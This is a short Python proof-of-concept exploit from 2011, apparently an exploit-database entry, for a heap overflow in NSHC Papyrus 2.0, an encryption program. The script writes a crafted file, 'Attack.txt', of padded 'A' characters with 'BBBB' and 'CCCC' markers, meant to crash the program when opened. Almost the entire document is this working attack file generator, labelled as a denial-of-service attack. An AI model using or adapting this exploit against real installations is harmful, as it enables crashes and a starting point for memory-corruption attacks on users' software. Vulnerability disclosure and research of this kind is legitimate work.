NSHC Papyrus Heap Overflow Vulnerability

#!/usr/bin/python
#
# Exploit Title: NSHC Papyrus Heap Overflow Vulnerability
# Date: 13\08\2011
# Author: wh1ant
# Vendor or Software Link: Link: http://file.atfile.com/ftp/data/03/PapyrusSetup.exe
# Version: 2.0
# Category: dos
# Tested on: windows XP SP3 South Korea / windows XP SP3 English VMware Workstation

# Notice:
# Encrypt/Decrypt programs that are created by NSHC
#

fd = open("Attack.txt", "w")

data = 'A'
for i in range(0, 1003):
	fd.write(data)

fd.write("BBBB");
fd.write("CCCC");

for i in range(0, 2000):
	fd.write(data);

fd.close()